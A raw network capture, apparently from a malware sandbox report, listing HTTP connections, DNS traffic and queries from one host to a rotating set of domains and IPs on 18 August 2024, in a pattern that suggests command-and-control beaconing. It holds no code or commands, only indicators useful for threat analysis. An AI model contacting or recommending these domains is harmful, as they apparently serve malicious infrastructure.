Aug 18, 2024 18:26:03.462557077 CEST	80	54130	3.33.130.190	192.168.2.9
Aug 18, 2024 18:26:08.498240948 CEST	54131	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:08.503231049 CEST	80	54131	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:08.503299952 CEST	54131	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:08.505729914 CEST	54131	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:08.511159897 CEST	80	54131	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:09.343399048 CEST	80	54131	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:09.343736887 CEST	80	54131	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:09.343746901 CEST	80	54131	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:09.344103098 CEST	54131	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:10.017635107 CEST	54131	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:11.038899899 CEST	54132	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:11.044137001 CEST	80	54132	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:11.047278881 CEST	54132	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:11.048937082 CEST	54132	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:11.053831100 CEST	80	54132	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:11.700546980 CEST	80	54132	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:11.700903893 CEST	80	54132	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:11.701067924 CEST	54132	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:12.582930088 CEST	54132	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:13.600501060 CEST	54133	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:13.605634928 CEST	80	54133	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:13.605791092 CEST	54133	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:13.612517118 CEST	54133	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:13.617439032 CEST	80	54133	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:13.617507935 CEST	80	54133	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:14.261090994 CEST	80	54133	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:14.261280060 CEST	80	54133	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:14.261586905 CEST	54133	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:15.113624096 CEST	54133	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:16.130933046 CEST	54134	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:16.135916948 CEST	80	54134	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:16.136133909 CEST	54134	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:16.138067007 CEST	54134	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:16.143055916 CEST	80	54134	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:16.777698040 CEST	80	54134	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:16.778234959 CEST	80	54134	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:16.778289080 CEST	54134	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:16.780987978 CEST	54134	80	192.168.2.9	64.226.69.42
Aug 18, 2024 18:26:16.785805941 CEST	80	54134	64.226.69.42	192.168.2.9
Aug 18, 2024 18:26:21.990917921 CEST	54135	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:21.995810032 CEST	80	54135	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:21.996619940 CEST	54135	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:22.000504017 CEST	54135	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:22.005404949 CEST	80	54135	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:22.591425896 CEST	80	54135	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:22.591464996 CEST	80	54135	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:22.591620922 CEST	54135	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:23.501935005 CEST	54135	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:24.521239042 CEST	54136	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:24.527632952 CEST	80	54136	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:24.528337955 CEST	54136	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:24.531580925 CEST	54136	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:24.541991949 CEST	80	54136	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:25.374361992 CEST	80	54136	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:25.374439001 CEST	80	54136	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:25.374469042 CEST	80	54136	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:25.374500990 CEST	54136	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:25.374541044 CEST	54136	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:26.034636021 CEST	54136	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:27.053045034 CEST	54137	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:27.057979107 CEST	80	54137	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:27.058053017 CEST	54137	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:27.060240984 CEST	54137	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:27.065102100 CEST	80	54137	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:27.065500975 CEST	80	54137	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:27.651304007 CEST	80	54137	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:27.651396990 CEST	80	54137	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:27.651468039 CEST	54137	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:28.573559046 CEST	54137	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:29.584845066 CEST	54138	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:29.589844942 CEST	80	54138	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:29.589956999 CEST	54138	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:29.592091084 CEST	54138	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:29.597027063 CEST	80	54138	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:30.196692944 CEST	80	54138	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:30.196715117 CEST	80	54138	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:30.196897030 CEST	54138	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:30.202904940 CEST	54138	80	192.168.2.9	203.161.55.102
Aug 18, 2024 18:26:30.211704016 CEST	80	54138	203.161.55.102	192.168.2.9
Aug 18, 2024 18:26:35.618905067 CEST	54139	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:35.624000072 CEST	80	54139	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:35.624130011 CEST	54139	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:35.626837015 CEST	54139	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:35.632114887 CEST	80	54139	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:36.533597946 CEST	80	54139	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:36.534821033 CEST	80	54139	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:36.534944057 CEST	54139	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:37.126818895 CEST	54139	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:38.145539045 CEST	54140	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:38.150511980 CEST	80	54140	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:38.150595903 CEST	54140	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:38.152477980 CEST	54140	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:38.157421112 CEST	80	54140	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:39.070369005 CEST	80	54140	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:39.070461035 CEST	80	54140	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:39.070555925 CEST	54140	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:39.658163071 CEST	54140	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:40.678090096 CEST	54141	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:40.683013916 CEST	80	54141	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:40.683115959 CEST	54141	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:40.685551882 CEST	54141	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:40.690392017 CEST	80	54141	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:40.691701889 CEST	80	54141	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:41.584238052 CEST	80	54141	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:41.642626047 CEST	54141	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:41.802833080 CEST	80	54141	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:41.802923918 CEST	54141	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:42.189611912 CEST	54141	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:43.216531992 CEST	54142	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:43.376415014 CEST	80	54142	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:43.378669977 CEST	54142	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:43.384511948 CEST	54142	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:43.389389992 CEST	80	54142	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:44.311353922 CEST	80	54142	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:44.312532902 CEST	80	54142	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:44.312609911 CEST	54142	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:44.321141005 CEST	54142	80	192.168.2.9	216.83.33.145
Aug 18, 2024 18:26:44.326077938 CEST	80	54142	216.83.33.145	192.168.2.9
Aug 18, 2024 18:26:49.981426001 CEST	54143	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:49.986340046 CEST	80	54143	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:49.986649990 CEST	54143	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:49.988517046 CEST	54143	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:49.993316889 CEST	80	54143	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:50.632245064 CEST	80	54143	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:50.634627104 CEST	80	54143	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:50.635505915 CEST	54143	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:50.636929989 CEST	80	54143	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:50.637026072 CEST	54143	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:51.502561092 CEST	54143	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:52.522236109 CEST	54144	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:52.527239084 CEST	80	54144	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:52.527316093 CEST	54144	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:52.529439926 CEST	54144	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:52.537013054 CEST	80	54144	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:53.193691015 CEST	80	54144	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:53.197258949 CEST	80	54144	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:53.197381020 CEST	54144	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:53.197634935 CEST	80	54144	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:53.197736025 CEST	54144	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:54.033174992 CEST	54144	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:55.051989079 CEST	54145	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:55.056978941 CEST	80	54145	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:55.057187080 CEST	54145	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:55.059035063 CEST	54145	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:55.063927889 CEST	80	54145	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:55.064085960 CEST	80	54145	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:55.734154940 CEST	80	54145	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:55.739684105 CEST	80	54145	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:55.739806890 CEST	80	54145	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:55.739872932 CEST	54145	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:56.564409971 CEST	54145	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:57.584523916 CEST	54146	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:57.589888096 CEST	80	54146	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:57.590130091 CEST	54146	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:57.592564106 CEST	54146	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:57.599262953 CEST	80	54146	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:58.234942913 CEST	80	54146	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:58.248225927 CEST	80	54146	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:58.248235941 CEST	80	54146	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:58.248260975 CEST	80	54146	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:58.248270035 CEST	80	54146	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:58.248286009 CEST	80	54146	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:58.248296022 CEST	54146	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:58.248389006 CEST	54146	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:58.249172926 CEST	80	54146	35.241.42.217	192.168.2.9
Aug 18, 2024 18:26:58.249284029 CEST	54146	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:58.252698898 CEST	54146	80	192.168.2.9	35.241.42.217
Aug 18, 2024 18:26:58.257538080 CEST	80	54146	35.241.42.217	192.168.2.9
Aug 18, 2024 18:27:03.364505053 CEST	54147	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:03.369508982 CEST	80	54147	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:03.372464895 CEST	54147	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:03.377296925 CEST	54147	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:03.382436991 CEST	80	54147	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:03.862488031 CEST	80	54147	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:03.862811089 CEST	54147	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:04.892608881 CEST	54147	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:05.343642950 CEST	54147	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:05.806216002 CEST	80	54147	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:05.806291103 CEST	80	54147	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:05.807148933 CEST	54147	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:05.950576067 CEST	54148	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:05.955523968 CEST	80	54148	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:05.957014084 CEST	54148	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:05.989432096 CEST	54148	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:05.994447947 CEST	80	54148	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:06.426083088 CEST	80	54148	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:06.426141024 CEST	54148	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:07.501991987 CEST	54148	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:07.506834984 CEST	80	54148	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:08.522063017 CEST	54149	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:08.527074099 CEST	80	54149	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:08.527184963 CEST	54149	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:08.529903889 CEST	54149	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:08.534822941 CEST	80	54149	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:08.537163973 CEST	80	54149	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:09.313900948 CEST	80	54149	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:09.314070940 CEST	54149	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:09.316066027 CEST	80	54149	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:09.316356897 CEST	54149	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:10.035109997 CEST	54149	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:10.041671038 CEST	80	54149	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:11.055531025 CEST	54150	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:11.060589075 CEST	80	54150	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:11.064821959 CEST	54150	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:11.067992926 CEST	54150	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:11.073295116 CEST	80	54150	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:11.524272919 CEST	80	54150	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:11.524342060 CEST	80	54150	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:11.524512053 CEST	54150	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:11.544930935 CEST	54150	80	192.168.2.9	76.223.67.189
Aug 18, 2024 18:27:11.549698114 CEST	80	54150	76.223.67.189	192.168.2.9
Aug 18, 2024 18:27:25.128078938 CEST	54151	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:25.133033037 CEST	80	54151	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:25.133285046 CEST	54151	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:25.135858059 CEST	54151	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:25.141717911 CEST	80	54151	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:26.642647028 CEST	54151	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:26.692092896 CEST	80	54151	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:27.662348986 CEST	54152	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:27.668653965 CEST	80	54152	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:27.673480034 CEST	54152	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:27.675473928 CEST	54152	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:27.683855057 CEST	80	54152	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:29.189423084 CEST	54152	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:29.236022949 CEST	80	54152	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:30.208553076 CEST	54153	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:30.219846010 CEST	80	54153	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:30.219921112 CEST	54153	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:30.222593069 CEST	54153	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:30.227719069 CEST	80	54153	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:30.227755070 CEST	80	54153	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:31.736326933 CEST	54153	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:31.784240961 CEST	80	54153	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:32.755820990 CEST	54154	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:32.760878086 CEST	80	54154	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:32.760993004 CEST	54154	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:32.762904882 CEST	54154	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:32.767898083 CEST	80	54154	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:46.512161016 CEST	80	54151	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:46.516706944 CEST	54151	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:49.093353033 CEST	80	54152	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:49.095045090 CEST	54152	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:51.603302002 CEST	80	54153	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:51.603377104 CEST	54153	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:54.135464907 CEST	80	54154	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:54.136691093 CEST	54154	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:54.137547016 CEST	54154	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:54.142442942 CEST	80	54154	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:59.671720028 CEST	54155	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:59.677953959 CEST	80	54155	116.213.43.190	192.168.2.9
Aug 18, 2024 18:27:59.678047895 CEST	54155	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:59.680413008 CEST	54155	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:27:59.690181971 CEST	80	54155	116.213.43.190	192.168.2.9
Aug 18, 2024 18:28:01.299489021 CEST	54155	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:28:01.348026991 CEST	80	54155	116.213.43.190	192.168.2.9
Aug 18, 2024 18:28:02.318007946 CEST	54156	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:28:02.322930098 CEST	80	54156	116.213.43.190	192.168.2.9
Aug 18, 2024 18:28:02.323009014 CEST	54156	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:28:02.324917078 CEST	54156	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:28:02.329765081 CEST	80	54156	116.213.43.190	192.168.2.9
Aug 18, 2024 18:28:03.830528021 CEST	54156	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:28:03.976406097 CEST	80	54156	116.213.43.190	192.168.2.9
Aug 18, 2024 18:28:06.474469900 CEST	54157	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:28:06.479509115 CEST	80	54157	116.213.43.190	192.168.2.9
Aug 18, 2024 18:28:06.479609966 CEST	54157	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:28:06.481605053 CEST	54157	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:28:06.486584902 CEST	80	54157	116.213.43.190	192.168.2.9
Aug 18, 2024 18:28:06.486711979 CEST	80	54157	116.213.43.190	192.168.2.9
Aug 18, 2024 18:28:07.986583948 CEST	54157	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:28:08.035990953 CEST	80	54157	116.213.43.190	192.168.2.9
Aug 18, 2024 18:28:09.004992962 CEST	54158	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:28:09.010077000 CEST	80	54158	116.213.43.190	192.168.2.9
Aug 18, 2024 18:28:09.010175943 CEST	54158	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:28:09.012103081 CEST	54158	80	192.168.2.9	116.213.43.190
Aug 18, 2024 18:28:09.017554045 CEST	80	54158	116.213.43.190	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 18, 2024 18:24:17.118055105 CEST	53	51102	1.1.1.1	192.168.2.9
Aug 18, 2024 18:24:30.618527889 CEST	53	64410	162.159.36.2	192.168.2.9
Aug 18, 2024 18:24:31.101943970 CEST	57979	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:24:31.109342098 CEST	53	57979	1.1.1.1	192.168.2.9
Aug 18, 2024 18:24:39.842888117 CEST	56951	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:24:40.017956018 CEST	53	56951	1.1.1.1	192.168.2.9
Aug 18, 2024 18:24:56.584642887 CEST	51066	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:24:57.105564117 CEST	53	51066	1.1.1.1	192.168.2.9
Aug 18, 2024 18:25:10.618598938 CEST	50269	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:25:10.826087952 CEST	53	50269	1.1.1.1	192.168.2.9
Aug 18, 2024 18:25:24.145337105 CEST	57620	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:25:24.229363918 CEST	53	57620	1.1.1.1	192.168.2.9
Aug 18, 2024 18:25:38.255548954 CEST	56139	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:25:38.343326092 CEST	53	56139	1.1.1.1	192.168.2.9
Aug 18, 2024 18:25:51.646842003 CEST	64823	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:25:51.663258076 CEST	53	64823	1.1.1.1	192.168.2.9
Aug 18, 2024 18:26:08.475060940 CEST	49715	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:26:08.495548010 CEST	53	49715	1.1.1.1	192.168.2.9
Aug 18, 2024 18:26:21.787889957 CEST	51944	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:26:21.985690117 CEST	53	51944	1.1.1.1	192.168.2.9
Aug 18, 2024 18:26:35.209125996 CEST	63841	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:26:35.615653038 CEST	53	63841	1.1.1.1	192.168.2.9
Aug 18, 2024 18:26:49.428118944 CEST	63701	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:26:49.976648092 CEST	53	63701	1.1.1.1	192.168.2.9
Aug 18, 2024 18:27:03.337238073 CEST	49239	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:27:03.350264072 CEST	53	49239	1.1.1.1	192.168.2.9
Aug 18, 2024 18:27:16.559000015 CEST	53867	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:27:16.590339899 CEST	53	53867	1.1.1.1	192.168.2.9
Aug 18, 2024 18:27:24.647752047 CEST	49797	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:27:25.124953032 CEST	53	49797	1.1.1.1	192.168.2.9
Aug 18, 2024 18:27:59.147308111 CEST	61806	53	192.168.2.9	1.1.1.1
Aug 18, 2024 18:27:59.668601036 CEST	53	61806	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 18, 2024 18:24:31.101943970 CEST	192.168.2.9	1.1.1.1	0x664	Standard query (0)	56.126.166.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Aug 18, 2024 18:24:39.842888117 CEST	192.168.2.9	1.1.1.1	0x4d5f	Standard query (0)	www.stemfiniti.com	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:24:56.584642887 CEST	192.168.2.9	1.1.1.1	0x2053	Standard query (0)	www.zhuan-tou.com	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:25:10.618598938 CEST	192.168.2.9	1.1.1.1	0x1fc	Standard query (0)	www.lecoinsa.net	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:25:24.145337105 CEST	192.168.2.9	1.1.1.1	0xd8e4	Standard query (0)	www.8xbe578.app	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:25:38.255548954 CEST	192.168.2.9	1.1.1.1	0xaadd	Standard query (0)	www.synergon.space	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:25:51.646842003 CEST	192.168.2.9	1.1.1.1	0xf2ff	Standard query (0)	www.alanbeanart.com	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:26:08.475060940 CEST	192.168.2.9	1.1.1.1	0xa559	Standard query (0)	www.kacotae.com	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:26:21.787889957 CEST	192.168.2.9	1.1.1.1	0xf778	Standard query (0)	www.slushcafe.top	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:26:35.209125996 CEST	192.168.2.9	1.1.1.1	0xef6f	Standard query (0)	www.a9jcpf.top	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:26:49.428118944 CEST	192.168.2.9	1.1.1.1	0x112	Standard query (0)	www.tqfabxah.com	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:27:03.337238073 CEST	192.168.2.9	1.1.1.1	0xf90e	Standard query (0)	www.rtrpodcast.online	A (IP address)	IN (0x0001)	false
